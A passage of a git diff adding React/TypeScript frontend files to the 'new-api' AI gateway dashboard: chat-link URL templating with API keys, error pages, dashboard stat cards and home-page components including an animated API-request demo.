+export function detectChatLinkType(url: string): ChatLinkType {
+  if (HTTP_REGEX.test(url)) {
+    return 'web'
+  }
+  if (url.toLowerCase().startsWith('fluent')) {
+    return 'fluent'
+  }
+  return 'custom-protocol'
+}
+
+export function parseChatConfig(raw: RawChatConfig): ChatPreset[] {
+  let parsed: unknown = raw
+
+  if (typeof raw === 'string') {
+    try {
+      parsed = JSON.parse(raw)
+    } catch {
+      return []
+    }
+  }
+
+  if (!Array.isArray(parsed)) {
+    return []
+  }
+
+  return parsed
+    .map((entry, index) => {
+      if (
+        !entry ||
+        typeof entry !== 'object' ||
+        Array.isArray(entry) ||
+        Object.keys(entry).length !== 1
+      ) {
+        return null
+      }
+
+      const [name, value] = Object.entries(entry)[0]
+      if (typeof value !== 'string' || typeof name !== 'string') {
+        return null
+      }
+
+      const url = value.trim()
+      if (!url) {
+        return null
+      }
+
+      return {
+        id: String(index),
+        name,
+        url,
+        type: detectChatLinkType(url),
+      } satisfies ChatPreset
+    })
+    .filter((item): item is ChatPreset => item !== null)
+}
+
+function replaceToken(source: string, token: string, value: string) {
+  return source.split(token).join(value)
+}
+
+export function resolveChatUrl({
+  template,
+  apiKey,
+  serverAddress,
+}: ResolveChatUrlParams): string {
+  let url = template
+  const safeServerAddress = serverAddress || ''
+
+  const safeApiKey = apiKey || ''
+
+  if (url.includes('{cherryConfig}')) {
+    const payload = {
+      id: 'new-api',
+      baseUrl: safeServerAddress,
+      apiKey: safeApiKey,
+    }
+    const encoded = encodeURIComponent(toBase64(JSON.stringify(payload)))
+    return replaceToken(url, '{cherryConfig}', encoded)
+  }
+
+  if (url.includes('{aionuiConfig}')) {
+    const payload = {
+      platform: 'new-api',
+      baseUrl: safeServerAddress,
+      apiKey: safeApiKey,
+    }
+    const encoded = encodeURIComponent(toBase64(JSON.stringify(payload)))
+    return replaceToken(url, '{aionuiConfig}', encoded)
+  }
+
+  if (safeServerAddress) {
+    const encodedAddress = encodeURIComponent(safeServerAddress)
+    url = replaceToken(url, '{address}', encodedAddress)
+  }
+
+  if (safeApiKey) {
+    url = replaceToken(url, '{key}', safeApiKey)
+  }
+
+  return url
+}
+
+export function getFirstActiveKey(
+  keys: ActiveApiKey[] | undefined
+): ActiveApiKey | undefined {
+  if (!Array.isArray(keys)) return undefined
+  return keys.find((item) => item.status === API_KEY_STATUS.ENABLED)
+}
diff --git a/new-api/web/default/src/features/chat/lib/send-to-fluent.ts b/new-api/web/default/src/features/chat/lib/send-to-fluent.ts
new file mode 100644
index 0000000..32a98b3
--- /dev/null
+++ b/new-api/web/default/src/features/chat/lib/send-to-fluent.ts
@@ -0,0 +1,24 @@
+export function sendToFluent(apiKey: string, serverAddress?: string): boolean {
+  if (typeof window === 'undefined') {
+    return false
+  }
+
+  const container = document.getElementById('fluent-new-api-container')
+  if (!container) {
+    return false
+  }
+
+  const payload = {
+    id: 'new-api',
+    baseUrl: serverAddress || window.location.origin,
+    apiKey: `sk-${apiKey}`,
+  }
+
+  container.dispatchEvent(
+    new CustomEvent('fluent:prefill', {
+      detail: payload,
+    })
+  )
+
+  return true
+}
diff --git a/new-api/web/default/src/features/dashboard/hooks/use-dashboard-config.tsx b/new-api/web/default/src/features/dashboard/hooks/use-dashboard-config.tsx
new file mode 100644
index 0000000..d3c03f2
--- /dev/null
+++ b/new-api/web/default/src/features/dashboard/hooks/use-dashboard-config.tsx
@@ -0,0 +1,107 @@
+import {
+  Hash,
+  Coins,
+  Layers,
+  Gauge,
+  Zap,
+  Wallet,
+  TrendingUp,
+  Activity,
+  type LucideIcon,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { safeDivide } from '@/features/dashboard/lib'
+
+interface StatCardConfig {
+  key: string
+  title: string
+  description: string
+  icon: LucideIcon
+  getValue: (stat: Record<string, number>, days?: number) => number
+}
+
+export function useModelStatCardsConfig(): StatCardConfig[] {
+  const { t } = useTranslation()
+
+  return [
+    {
+      key: 'count',
+      title: t('Total Count'),
+      description: t('Statistical count'),
+      icon: Hash,
+      getValue: (stat) => stat?.rpm ?? 0,
+    },
+    {
+      key: 'quota',
+      title: t('Total Quota'),
+      description: t('Statistical quota'),
+      icon: Coins,
+      getValue: (stat) => stat?.quota ?? 0,
+    },
+    {
+      key: 'tokens',
+      title: t('Total Tokens'),
+      description: t('Statistical tokens'),
+      icon: Layers,
+      getValue: (stat) => stat?.tpm ?? 0,
+    },
+    {
+      key: 'avgRpm',
+      title: t('Average RPM'),
+      description: t('Requests per minute'),
+      icon: Gauge,
+      getValue: (stat, timeRangeMinutes = 1) =>
+        safeDivide(stat?.rpm ?? 0, timeRangeMinutes),
+    },
+    {
+      key: 'avgTpm',
+      title: t('Average TPM'),
+      description: t('Tokens per minute'),
+      icon: Zap,
+      getValue: (stat, timeRangeMinutes = 1) =>
+        safeDivide(stat?.tpm ?? 0, timeRangeMinutes),
+    },
+  ]
+}
+
+export function useSummaryCardsConfig(totals: {
+  remainDisplay: string
+  usedDisplay: string
+  requestCountDisplay: string
+  currencyLabel: string
+  currencyEnabled: boolean
+}) {
+  const { t } = useTranslation()
+
+  return [
+    {
+      key: 'balance',
+      title: totals.currencyEnabled
+        ? `${t('Current Balance')} (${totals.currencyLabel})`
+        : t('Current Balance'),
+      value: totals.remainDisplay,
+      description: totals.currencyEnabled
+        ? `${t('Remaining quota')} (${totals.currencyLabel})`
+        : t('Remaining quota units'),
+      icon: Wallet,
+    },
+    {
+      key: 'usage',
+      title: totals.currencyEnabled
+        ? `${t('Historical Usage')} (${totals.currencyLabel})`
+        : t('Historical Usage'),
+      value: totals.usedDisplay,
+      description: totals.currencyEnabled
+        ? `${t('Total consumed')} (${totals.currencyLabel})`
+        : t('Total consumed quota'),
+      icon: TrendingUp,
+    },
+    {
+      key: 'requests',
+      title: t('Request Count'),
+      value: totals.requestCountDisplay,
+      description: t('Total requests made'),
+      icon: Activity,
+    },
+  ]
+}
diff --git a/new-api/web/default/src/features/errors/forbidden.tsx b/new-api/web/default/src/features/errors/forbidden.tsx
new file mode 100644
index 0000000..4139f0c
--- /dev/null
+++ b/new-api/web/default/src/features/errors/forbidden.tsx
@@ -0,0 +1,29 @@
+import { useNavigate, useRouter } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+
+export function ForbiddenError() {
+  const { t } = useTranslation()
+  const navigate = useNavigate()
+  const { history } = useRouter()
+  return (
+    <div className='h-svh'>
+      <div className='m-auto flex h-full w-full flex-col items-center justify-center gap-2'>
+        <h1 className='text-[7rem] leading-tight font-bold'>403</h1>
+        <span className='font-medium'>{t('Access Forbidden')}</span>
+        <p className='text-muted-foreground text-center'>
+          {t("You don't have necessary permission")} <br />
+          {t('to view this resource.')}
+        </p>
+        <div className='mt-6 flex gap-4'>
+          <Button variant='outline' onClick={() => history.go(-1)}>
+            {t('Go Back')}
+          </Button>
+          <Button onClick={() => navigate({ to: '/' })}>
+            {t('Back to Home')}
+          </Button>
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/errors/general-error.tsx b/new-api/web/default/src/features/errors/general-error.tsx
new file mode 100644
index 0000000..5619ac5
--- /dev/null
+++ b/new-api/web/default/src/features/errors/general-error.tsx
@@ -0,0 +1,43 @@
+import { useNavigate, useRouter } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+
+type GeneralErrorProps = React.HTMLAttributes<HTMLDivElement> & {
+  minimal?: boolean
+}
+
+export function GeneralError({
+  className,
+  minimal = false,
+}: GeneralErrorProps) {
+  const { t } = useTranslation()
+  const navigate = useNavigate()
+  const { history } = useRouter()
+  return (
+    <div className={cn('h-svh w-full', className)}>
+      <div className='m-auto flex h-full w-full flex-col items-center justify-center gap-2'>
+        {!minimal && (
+          <h1 className='text-[7rem] leading-tight font-bold'>500</h1>
+        )}
+        <span className='font-medium'>
+          {t('Oops! Something went wrong')} {`:')`}
+        </span>
+        <p className='text-muted-foreground text-center'>
+          {t('We apologize for the inconvenience.')} <br />{' '}
+          {t('Please try again later.')}
+        </p>
+        {!minimal && (
+          <div className='mt-6 flex gap-4'>
+            <Button variant='outline' onClick={() => history.go(-1)}>
+              {t('Go Back')}
+            </Button>
+            <Button onClick={() => navigate({ to: '/' })}>
+              {t('Back to Home')}
+            </Button>
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/errors/maintenance-error.tsx b/new-api/web/default/src/features/errors/maintenance-error.tsx
new file mode 100644
index 0000000..9913b7f
--- /dev/null
+++ b/new-api/web/default/src/features/errors/maintenance-error.tsx
@@ -0,0 +1,23 @@
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+
+export function MaintenanceError() {
+  const { t } = useTranslation()
+  return (
+    <div className='h-svh'>
+      <div className='m-auto flex h-full w-full flex-col items-center justify-center gap-2'>
+        <h1 className='text-[7rem] leading-tight font-bold'>503</h1>
+        <span className='font-medium'>
+          {t('Website is under maintenance!')}
+        </span>
+        <p className='text-muted-foreground text-center'>
+          {t('The site is not available at the moment.')} <br />
+          {t("We'll be back online shortly.")}
+        </p>
+        <div className='mt-6 flex gap-4'>
+          <Button variant='outline'>{t('Learn more')}</Button>
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/errors/not-found-error.tsx b/new-api/web/default/src/features/errors/not-found-error.tsx
new file mode 100644
index 0000000..5cf9104
--- /dev/null
+++ b/new-api/web/default/src/features/errors/not-found-error.tsx
@@ -0,0 +1,29 @@
+import { useNavigate, useRouter } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+
+export function NotFoundError() {
+  const { t } = useTranslation()
+  const navigate = useNavigate()
+  const { history } = useRouter()
+  return (
+    <div className='h-svh'>
+      <div className='m-auto flex h-full w-full flex-col items-center justify-center gap-2'>
+        <h1 className='text-[7rem] leading-tight font-bold'>404</h1>
+        <span className='font-medium'>{t('Oops! Page Not Found!')}</span>
+        <p className='text-muted-foreground text-center'>
+          {t("It seems like the page you're looking for")} <br />
+          {t('does not exist or might have been removed.')}
+        </p>
+        <div className='mt-6 flex gap-4'>
+          <Button variant='outline' onClick={() => history.go(-1)}>
+            {t('Go Back')}
+          </Button>
+          <Button onClick={() => navigate({ to: '/' })}>
+            {t('Back to Home')}
+          </Button>
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/errors/unauthorized-error.tsx b/new-api/web/default/src/features/errors/unauthorized-error.tsx
new file mode 100644
index 0000000..8942fb6
--- /dev/null
+++ b/new-api/web/default/src/features/errors/unauthorized-error.tsx
@@ -0,0 +1,29 @@
+import { useNavigate, useRouter } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+
+export function UnauthorisedError() {
+  const { t } = useTranslation()
+  const navigate = useNavigate()
+  const { history } = useRouter()
+  return (
+    <div className='h-svh'>
+      <div className='m-auto flex h-full w-full flex-col items-center justify-center gap-2'>
+        <h1 className='text-[7rem] leading-tight font-bold'>401</h1>
+        <span className='font-medium'>{t('Unauthorized Access')}</span>
+        <p className='text-muted-foreground text-center'>
+          {t('Please log in with the appropriate credentials')} <br />{' '}
+          {t('to access this resource.')}
+        </p>
+        <div className='mt-6 flex gap-4'>
+          <Button variant='outline' onClick={() => history.go(-1)}>
+            {t('Go Back')}
+          </Button>
+          <Button onClick={() => navigate({ to: '/' })}>
+            {t('Back to Home')}
+          </Button>
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/home/api.ts b/new-api/web/default/src/features/home/api.ts
new file mode 100644
index 0000000..8bac2c7
--- /dev/null
+++ b/new-api/web/default/src/features/home/api.ts
@@ -0,0 +1,15 @@
+import { api } from '@/lib/api'
+import type { HomePageContentResponse } from './types'
+
+// ============================================================================
+// Home Page APIs
+// ============================================================================
+
+/**
+ * Get custom home page content
+ * Returns Markdown/HTML content or iframe URL
+ */
+export async function getHomePageContent(): Promise<HomePageContentResponse> {
+  const res = await api.get('/api/home_page_content')
+  return res.data
+}
diff --git a/new-api/web/default/src/features/home/components/connection-line.tsx b/new-api/web/default/src/features/home/components/connection-line.tsx
new file mode 100644
index 0000000..3a155bf
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/connection-line.tsx
@@ -0,0 +1,21 @@
+import { cn } from '@/lib/utils'
+
+interface ConnectionLineProps {
+  direction?: 'left' | 'right'
+}
+
+/**
+ * Connection line between gateway and icon columns
+ */
+export function ConnectionLine({ direction = 'left' }: ConnectionLineProps) {
+  const gradientClass =
+    direction === 'left'
+      ? 'from-amber-500/60 to-amber-500/20'
+      : 'from-amber-500/20 to-amber-500/60'
+
+  return (
+    <div className='hidden lg:block'>
+      <div className={cn('h-[2px] w-24 bg-gradient-to-r', gradientClass)} />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/feature-item.tsx b/new-api/web/default/src/features/home/components/feature-item.tsx
new file mode 100644
index 0000000..506fa75
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/feature-item.tsx
@@ -0,0 +1,29 @@
+interface FeatureItemProps {
+  title: string
+  description: string
+  icon: React.ReactNode
+}
+
+/**
+ * Individual feature item with icon, title, and description
+ */
+export function FeatureItem({ title, description, icon }: FeatureItemProps) {
+  return (
+    <div className='group/feature text-foreground flex flex-col gap-4 p-4'>
+      {/* Icon */}
+      <div className='flex items-center self-start'>
+        <div className='flex h-10 w-10 items-center justify-center rounded-xl bg-gradient-to-br from-amber-500/20 to-amber-600/10 shadow-inner ring-1 ring-amber-500/20 transition-all duration-300 group-hover/feature:scale-110 group-hover/feature:ring-amber-500/40'>
+          {icon}
+        </div>
+      </div>
+      {/* Title */}
+      <h3 className='text-sm leading-none font-semibold tracking-tight sm:text-base'>
+        {title}
+      </h3>
+      {/* Description */}
+      <p className='text-muted-foreground max-w-[240px] text-sm text-balance'>
+        {description}
+      </p>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/gateway-card.tsx b/new-api/web/default/src/features/home/components/gateway-card.tsx
new file mode 100644
index 0000000..6019afc
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/gateway-card.tsx
@@ -0,0 +1,55 @@
+import { useTranslation } from 'react-i18next'
+import { Separator } from '@/components/ui/separator'
+import { getGatewayFeatures } from '../constants'
+
+interface GatewayCardProps {
+  logo: string
+  systemName: string
+}
+
+/**
+ * Central gateway card with features grid
+ */
+export function GatewayCard({ logo, systemName }: GatewayCardProps) {
+  const { t } = useTranslation()
+  const features = getGatewayFeatures(t)
+
+  return (
+    <div className='glass-3 group border-border/50 dark:border-border/20 relative overflow-hidden rounded-[32px] border p-10 shadow-2xl transition-all duration-500 sm:p-12 dark:shadow-[0_25px_80px_-15px_rgba(0,0,0,0.4)]'>
+      {/* Top gradient border effect */}
+      <Separator className='absolute top-0 left-[10%] h-[2px] w-[80%] bg-gradient-to-r from-transparent via-amber-500/80 to-transparent' />
+
+      {/* Ambient glow behind card */}
+      <div className='absolute -top-32 left-1/2 h-64 w-[120%] -translate-x-1/2 rounded-full bg-radial from-amber-500/30 to-amber-500/0 blur-3xl transition-all duration-500 group-hover:opacity-100 dark:opacity-80' />
+
+      <div className='relative'>
+        {/* Gateway Header */}
+        <div className='mb-8 flex items-center justify-center gap-3'>
+          <img
+            src={logo}
+            alt={systemName}
+            className='h-12 w-12 rounded-lg object-cover'
+          />
+          <h3 className='from-foreground to-foreground/70 bg-gradient-to-r bg-clip-text text-2xl font-bold text-transparent'>
+            {systemName}
+          </h3>
+        </div>
+
+        {/* Features Grid */}
+        <div className='grid grid-cols-2 gap-3'>
+          {features.map((feature, i) => (
+            <div
+              key={i}
+              className='glass-morphism group/item border-border/40 dark:border-border/20 relative overflow-hidden rounded-xl border px-4 py-3.5 text-center shadow-sm transition-all duration-300 hover:scale-[1.02] hover:border-amber-500/40 hover:shadow-md'
+            >
+              <div className='absolute inset-0 bg-gradient-to-br from-amber-500/0 to-amber-500/0 transition-all duration-300 group-hover/item:from-amber-500/10' />
+              <span className='text-foreground/90 group-hover/item:text-foreground relative text-sm font-medium'>
+                {feature}
+              </span>
+            </div>
+          ))}
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/hero-buttons.tsx b/new-api/web/default/src/features/home/components/hero-buttons.tsx
new file mode 100644
index 0000000..8cdb82c
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/hero-buttons.tsx
@@ -0,0 +1,38 @@
+import { Link } from '@tanstack/react-router'
+import { ArrowRight } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+
+interface HeroButtonsProps {
+  isAuthenticated: boolean
+}
+
+/**
+ * Hero section action buttons
+ */
+export function HeroButtons({ isAuthenticated }: HeroButtonsProps) {
+  const { t } = useTranslation()
+  if (isAuthenticated) {
+    return (
+      <Button size='lg' asChild>
+        <Link to='/dashboard'>
+          {t('Go to Dashboard')} <ArrowRight className='ml-2 h-5 w-5' />
+        </Link>
+      </Button>
+    )
+  }
+
+  return (
+    <>
+      <Button size='lg' asChild>
+        <Link to='/sign-up'>
+          {t('Get Started')}
+          <ArrowRight className='ml-2 h-5 w-5' />
+        </Link>
+      </Button>
+      <Button size='lg' variant='outline' asChild>
+        <Link to='/sign-in'>{t('Sign In')}</Link>
+      </Button>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/hero-terminal-demo.tsx b/new-api/web/default/src/features/home/components/hero-terminal-demo.tsx
new file mode 100644
index 0000000..871eaa5
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/hero-terminal-demo.tsx
@@ -0,0 +1,289 @@
+import { useState, useEffect, useRef } from 'react'
+import { cn } from '@/lib/utils'
+
+interface ModelConfig {
+  id: string
+  name: string
+  response: string
+  tokens: number
+  latency: number
+  badgeClass: string
+}
+
+const MODELS: ModelConfig[] = [
+  {
+    id: 'gpt-4o',
+    name: 'gpt-4o',
+    response:
+      'Artificial intelligence models can be seamlessly accessed through a unified API gateway, enabling developers to switch between providers effortlessly.',
+    tokens: 27,
+    latency: 142,
+    badgeClass:
+      'bg-emerald-500/10 text-emerald-600 ring-emerald-500/20 dark:bg-emerald-500/15 dark:text-emerald-400 dark:ring-emerald-500/25',
+  },
+  {
+    id: 'claude-sonnet',
+    name: 'claude-sonnet-4-20250514',
+    response:
+      'A unified gateway abstracts away provider differences, letting you focus on building great products while we handle routing, failover, and cost optimization.',
+    tokens: 31,
+    latency: 168,
+    badgeClass:
+      'bg-amber-500/10 text-amber-600 ring-amber-500/20 dark:bg-amber-500/15 dark:text-amber-400 dark:ring-amber-500/25',
+  },
+  {
+    id: 'gemini-pro',
+    name: 'gemini-2.5-pro',
+    response:
+      'By consolidating multiple AI providers behind one endpoint, teams can reduce integration complexity and gain unified observability across all model usage.',
+    tokens: 29,
+    latency: 156,
+    badgeClass:
+      'bg-blue-500/10 text-blue-600 ring-blue-500/20 dark:bg-blue-500/15 dark:text-blue-400 dark:ring-blue-500/25',
+  },
+  {
+    id: 'deepseek',
+    name: 'deepseek-chat',
+    response:
+      'An API gateway provides automatic load balancing, rate limiting, and cost tracking — essential infrastructure for production AI applications at scale.',
+    tokens: 25,
+    latency: 93,
+    badgeClass:
+      'bg-violet-500/10 text-violet-600 ring-violet-500/20 dark:bg-violet-500/15 dark:text-violet-400 dark:ring-violet-500/25',
+  },
+]
+
+const CYCLE_INTERVAL = 4000
+
+export function HeroTerminalDemo() {
+  const [activeIndex, setActiveIndex] = useState(0)
+  const [transitioning, setTransitioning] = useState(false)
+  const intervalRef = useRef<ReturnType<typeof setInterval>>(undefined)
+
+  useEffect(() => {
+    const mq = window.matchMedia('(prefers-reduced-motion: reduce)')
+    if (mq.matches) return
+
+    intervalRef.current = setInterval(() => {
+      setTransitioning(true)
+      setTimeout(() => {
+        setActiveIndex((prev) => (prev + 1) % MODELS.length)
+        setTransitioning(false)
+      }, 300)
+    }, CYCLE_INTERVAL)
+
+    return () => clearInterval(intervalRef.current)
+  }, [])
+
+  const model = MODELS[activeIndex]
+
+  return (
+    <div className='mx-auto mt-16 w-full max-w-2xl'>
+      <div
+        className={cn(
+          'overflow-hidden rounded-xl border',
+          'border-border/60 bg-white shadow-[0_8px_32px_-8px_rgba(0,0,0,0.1),0_0_0_0.5px_rgba(0,0,0,0.04)]',
+          'dark:border-border/40 dark:bg-[#0d1117] dark:shadow-[0_8px_32px_-8px_rgba(0,0,0,0.6),0_0_0_0.5px_rgba(255,255,255,0.05)]'
+        )}
+      >
+        {/* Title bar */}
+        <div
+          className={cn(
+            'flex items-center justify-between border-b px-4 py-2.5',
+            'border-border/40 bg-gray-50/80',
+            'dark:border-white/[0.06] dark:bg-transparent'
+          )}
+        >
+          <div className='flex items-center gap-1.5'>
+            <div className='size-2.5 rounded-full bg-[#ff5f57]/80 dark:bg-[#ff5f57]' />
+            <div className='size-2.5 rounded-full bg-[#febc2e]/80 dark:bg-[#febc2e]' />
+            <div className='size-2.5 rounded-full bg-[#28c840]/80 dark:bg-[#28c840]' />
+          </div>
+          <div className='flex items-center gap-2'>
+            <ModelSelector
+              models={MODELS}
+              activeIndex={activeIndex}
+              onSelect={(i) => {
+                clearInterval(intervalRef.current)
+                setTransitioning(true)
+                setTimeout(() => {
+                  setActiveIndex(i)
+                  setTransitioning(false)
+                }, 300)
+              }}
+            />
+          </div>
+          <div className='flex items-center gap-2'>
+            <span className='inline-block size-1.5 rounded-full bg-emerald-500 dark:bg-emerald-400' />
+            <span className='text-foreground/30 text-[10px]'>200 OK</span>
+          </div>
+        </div>
+
+        {/* Terminal body — fixed height */}
+        <div className='grid min-h-[280px] grid-rows-[auto_1fr] font-mono text-[12.5px] leading-[1.7]'>
+          {/* Request */}
+          <div
+            className={cn(
+              'border-b px-5 py-3.5',
+              'border-border/30',
+              'dark:border-white/[0.04]'
+            )}
+          >
+            <div className='mb-1.5 flex items-center gap-2'>
+              <span className='text-[10px] font-medium tracking-wider text-blue-500/60 uppercase dark:text-blue-400/60'>
+                Request
+              </span>
+            </div>
+            <div className='text-foreground/80'>
+              <span className='text-emerald-600 dark:text-emerald-400'>
+                curl
+              </span>{' '}
+              <span className='text-blue-600 dark:text-blue-400'>-X POST</span>{' '}
+              <span className='text-amber-600 dark:text-amber-400'>
+                &quot;/v1/chat/completions&quot;
+              </span>
+              {' \\\n'}
+              <span className='text-foreground/15'>{'  '}</span>
+              <span className='text-blue-600 dark:text-blue-400'>-H</span>{' '}
+              <span className='text-amber-600 dark:text-amber-400'>
+                &quot;Authorization: Bearer sk-••••&quot;
+              </span>
+              {' \\\n'}
+              <span className='text-foreground/15'>{'  '}</span>
+              <span className='text-blue-600 dark:text-blue-400'>-d</span>{' '}
+              <span className='text-amber-600 dark:text-amber-400'>
+                {'\'{"model": "'}
+              </span>
+              <span
+                className={cn(
+                  'transition-all duration-300',
+                  transitioning
+                    ? 'text-foreground/20'
+                    : 'text-amber-700 dark:text-amber-300'
+                )}
+              >
+                {model.name}
+              </span>
+              <span className='text-amber-600 dark:text-amber-400'>
+                {'", "messages": [...]}\''}
+              </span>
+            </div>
+          </div>
+
+          {/* Response */}
+          <div className='px-5 py-3.5'>
+            <div className='mb-2 flex items-center justify-between'>
+              <div className='flex items-center gap-2'>
+                <span className='text-[10px] font-medium tracking-wider text-emerald-600/60 uppercase dark:text-emerald-400/60'>
+                  Response
+                </span>
+                <span
+                  className={cn(
+                    'text-foreground/25 text-[10px] tabular-nums transition-opacity duration-300',
+                    transitioning ? 'opacity-0' : 'opacity-100'
+                  )}
+                >
+                  {model.latency}ms
+                </span>
+              </div>
+              <div
+                className={cn(
+                  'text-foreground/25 flex items-center gap-3 text-[10px] tabular-nums transition-opacity duration-300',
+                  transitioning ? 'opacity-0' : 'opacity-100'
+                )}
+              >
+                <span>{model.tokens} tokens</span>
+                <span>${(model.tokens * 0.00003).toFixed(5)}</span>
+              </div>
+            </div>
+            <div
+              className={cn(
+                'rounded-lg border px-3.5 py-3',
+                'border-border/40 bg-muted/30',
+                'dark:border-white/[0.06] dark:bg-white/[0.02]'
+              )}
+            >
+              <div className='text-foreground/35'>{'{'}</div>
+              <div className='pl-4'>
+                <span className='text-blue-600 dark:text-blue-400'>
+                  &quot;model&quot;
+                </span>
+                <span className='text-foreground/25'>: </span>
+                <span
+                  className={cn(
+                    'transition-all duration-300',
+                    transitioning
+                      ? 'text-foreground/15'
+                      : 'text-amber-600 dark:text-amber-400'
+                  )}
+                >
+                  &quot;{model.name}&quot;
+                </span>
+                <span className='text-foreground/25'>,</span>
+              </div>
+              <div className='pl-4'>
+                <span className='text-blue-600 dark:text-blue-400'>
+                  &quot;content&quot;
+                </span>
+                <span className='text-foreground/25'>: </span>
+                <span
+                  className={cn(
+                    'text-emerald-600 transition-all duration-300 dark:text-emerald-400',
+                    transitioning ? 'opacity-0' : 'opacity-100'
+                  )}
+                >
+                  &quot;{model.response}&quot;
+                </span>
+              </div>
+              <div className='pl-4'>
+                <span className='text-blue-600 dark:text-blue-400'>
+                  &quot;usage&quot;
+                </span>
+                <span className='text-foreground/25'>: {'{'} </span>
+                <span className='text-blue-600 dark:text-blue-400'>
+                  &quot;total_tokens&quot;
+                </span>
+                <span className='text-foreground/25'>: </span>
+                <span
+                  className={cn(
+                    'text-violet-600 transition-all duration-300 dark:text-violet-400',
+                    transitioning ? 'opacity-0' : 'opacity-100'
+                  )}
+                >
+                  {model.tokens}
+                </span>
+                <span className='text-foreground/25'> {'}'}</span>
+              </div>
+              <div className='text-foreground/35'>{'}'}</div>
+            </div>
+          </div>
+        </div>
+      </div>
+    </div>
+  )
+}
+
+function ModelSelector(props: {
+  models: ModelConfig[]
+  activeIndex: number
+  onSelect: (index: number) => void
+}) {
+  return (
+    <div className='flex items-center gap-1'>
+      {props.models.map((m, i) => (
+        <button
+          key={m.id}
+          onClick={() => props.onSelect(i)}
+          className={cn(
+            'rounded-md px-1.5 py-0.5 text-[10px] font-medium ring-1 transition-all duration-300 ring-inset',
+            i === props.activeIndex
+              ? m.badgeClass
+              : 'text-foreground/20 ring-border/30 hover:text-foreground/40 hover:ring-border/50 dark:ring-white/[0.06] dark:hover:ring-white/10'
+          )}
+        >
+          {m.id}
+        </button>
+      ))}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/icon-card.tsx b/new-api/web/default/src/features/home/components/icon-card.tsx
new file mode 100644
index 0000000..0af40b6
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/icon-card.tsx
@@ -0,0 +1,29 @@
+import { getLobeIcon } from '@/lib/lobe-icon'
+import { cn } from '@/lib/utils'
+
+interface IconCardProps {
+  iconName: string
+  size?: number
+  className?: string
+}
+
+/**
+ * Reusable icon card component with glass morphism effect
+ */
+export function IconCard({ iconName, size = 32, className }: IconCardProps) {
+  return (
+    <div
+      className={cn(
+        'glass-morphism group/card border-border/50 dark:border-border/20',
+        'relative overflow-hidden rounded-2xl border p-5',
+        'transition-all duration-500 hover:scale-105',
+        className
+      )}
+    >
+      <div className='absolute -top-8 left-1/2 h-16 w-32 -translate-x-1/2 rounded-full bg-radial from-amber-500/10 to-amber-500/0 opacity-0 blur-xl transition-opacity duration-500 group-hover/card:opacity-100' />
+      <div className='relative flex items-center justify-center'>
+        {getLobeIcon(iconName, size)}
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/index.ts b/new-api/web/default/src/features/home/components/index.ts
new file mode 100644
index 0000000..e6008d1
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/index.ts
@@ -0,0 +1,5 @@
+export { CTA } from './sections/cta'
+export { Features } from './sections/features'
+export { Hero } from './sections/hero'
+export { HowItWorks } from './sections/how-it-works'
+export { Stats } from './sections/stats'
diff --git a/new-api/web/default/src/features/home/components/scrolling-icons.tsx b/new-api/web/default/src/features/home/components/scrolling-icons.tsx
new file mode 100644
index 0000000..69c3c7b
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/scrolling-icons.tsx
@@ -0,0 +1,44 @@
+import { cn } from '@/lib/utils'
+import { IconCard } from './icon-card'
+
+interface ScrollingIconsProps {
+  icons: readonly string[]
+  direction?: 'up' | 'down'
+  className?: string
+}
+
+/**
+ * Scrolling icon column with seamless loop animation
+ */
+export function ScrollingIcons({
+  icons,
+  direction = 'up',
+  className,
+}: ScrollingIconsProps) {
+  const animationClass =
+    direction === 'up' ? 'animate-scroll-up' : 'animate-scroll-down'
+
+  return (
+    <div
+      className={cn(
+        'scroll-container hidden h-[360px] overflow-hidden lg:block',
+        className
+      )}
+    >
+      <div className={cn('flex flex-col gap-5', animationClass)}>
+        {/* First set */}
+        {icons.map((iconName, i) => (
+          <IconCard key={`${direction}-1-${i}`} iconName={iconName} />
+        ))}
+        {/* Duplicate set for seamless loop */}
+        {icons.map((iconName, i) => (
+          <IconCard
+            key={`${direction}-2-${i}`}
+            iconName={iconName}
+            className='aria-hidden'
+          />
+        ))}
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/home/components/sections/cta.tsx b/new-api/web/default/src/features/home/components/sections/cta.tsx
new file mode 100644
index 0000000..9bccf42
--- /dev/null
+++ b/new-api/web/default/src/features/home/components/sections/cta.tsx
@@ -0,0 +1,65 @@
+import { Link } from '@tanstack/react-router'
+import { ArrowRight } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { AnimateInView } from '@/components/animate-in-view'
+
+interface CTAProps {
+  className?: string
+  isAuthenticated?: boolean
+}
+
+export function CTA(props: CTAProps) {
+  const { t } = useTranslation()
+
+  if (props.isAuthenticated) {
